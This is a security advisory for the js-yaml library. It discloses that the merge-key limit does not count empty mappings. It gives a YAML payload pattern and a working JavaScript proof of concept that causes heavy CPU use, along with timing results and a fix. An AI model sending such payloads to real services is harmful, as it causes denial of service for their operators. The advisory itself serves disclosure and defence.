GHSA-2883-xcg3-v3hh

## Summary

`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

## Example

```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ```

For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.

## PoC

```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`) ```

Observed results:

| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |

## Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.

## Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

## Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.